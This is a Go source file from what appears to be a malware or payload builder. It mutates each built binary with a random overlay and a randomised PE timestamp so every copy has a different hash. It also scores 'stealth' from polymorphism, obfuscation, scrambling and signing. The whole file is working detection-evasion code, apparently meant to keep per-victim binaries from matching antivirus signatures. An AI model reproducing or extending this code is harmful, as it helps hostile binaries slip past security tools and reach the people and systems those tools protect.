package builder

import (
	"crypto/sha256"
	"encoding/binary"
	"encoding/hex"
	"fmt"
	"hash/fnv"
	"io"
	"math/rand"
	"os"
	"path/filepath"
	"strings"
	"time"
)

const sigilOverlayMagic = "AFSC\x01"

// ApplySigilScramble mutates the built binary so each dispense has a unique on-disk
// signature (overlay entropy + optional PE timestamp). Does not change runtime logic.
func ApplySigilScramble(path, buildID string) (fingerprint string, err error) {
	if path == "" {
		return "", fmt.Errorf("empty path")
	}
	data, err := os.ReadFile(path)
	if err != nil {
		return "", err
	}
	if len(data) == 0 {
		return "", fmt.Errorf("empty binary")
	}

	seed := strings.TrimSpace(buildID)
	if seed == "" {
		seed = fmt.Sprintf("%d", time.Now().UnixNano())
	}
	rng := scrambleRNG(seed)

	if isPEExecutable(path, data) {
		data = patchPETimestamp(data, rng)
	}

	overlay := buildSigilOverlay(seed, rng)
	data = append(data, overlay...)

	if err := os.WriteFile(path, data, 0755); err != nil {
		return "", err
	}

	sum := sha256.Sum256(data)
	fingerprint = hex.EncodeToString(sum[:8])
	return fingerprint, nil
}

func isPEExecutable(path string, data []byte) bool {
	if !strings.EqualFold(filepath.Ext(path), ".exe") {
		return false
	}
	return len(data) > 64 && data[0] == 'M' && data[1] == 'Z'
}

// patchPETimestamp adjusts the COFF header timestamp (bytes 8-11 after MZ).
func patchPETimestamp(data []byte, rng *rand.Rand) []byte {
	out := make([]byte, len(data))
	copy(out, data)
	peOff := int(binary.LittleEndian.Uint32(out[0x3c:0x40]))
	if peOff < 0 || peOff+8 > len(out) {
		return out
	}
	if string(out[peOff:peOff+4]) != "PE\x00\x00" {
		return out
	}
	ts := uint32(time.Now().Unix()) ^ uint32(rng.Intn(1<<20))
	binary.LittleEndian.PutUint32(out[peOff+8:peOff+12], ts)
	return out
}

func buildSigilOverlay(seed string, rng *rand.Rand) []byte {
	padLen := 8192 + rng.Intn(57344)
	buf := make([]byte, len(sigilOverlayMagic)+len(seed)+2+padLen)
	copy(buf, sigilOverlayMagic)
	buf[len(sigilOverlayMagic)] = byte(len(seed) & 0xff)
	copy(buf[len(sigilOverlayMagic)+1:], []byte(seed))
	off := len(sigilOverlayMagic) + 1 + len(seed)
	for i := 0; i < padLen; i++ {
		buf[off+i] = byte(rng.Intn(256))
	}
	return buf
}

func scrambleRNG(seed string) *rand.Rand {
	h := fnv.New64a()
	_, _ = io.WriteString(h, seed)
	return rand.New(rand.NewSource(int64(h.Sum64())))
}

// StealthScore estimates how many uniqueness layers were applied (0–100).
func StealthScore(obfuscated, scrambled, signed bool) int {
	score := 35 // polymorph is always injected at compile time
	if obfuscated {
		score += 30
	}
	if scrambled {
		score += 20
	}
	if signed {
		score += 15
	}
	if score > 100 {
		return 100
	}
	return score
}

func shouldSigilScramble(req *BuildRequest) bool {
	if req.SigilScramble {
		return true
	}
	return false
}
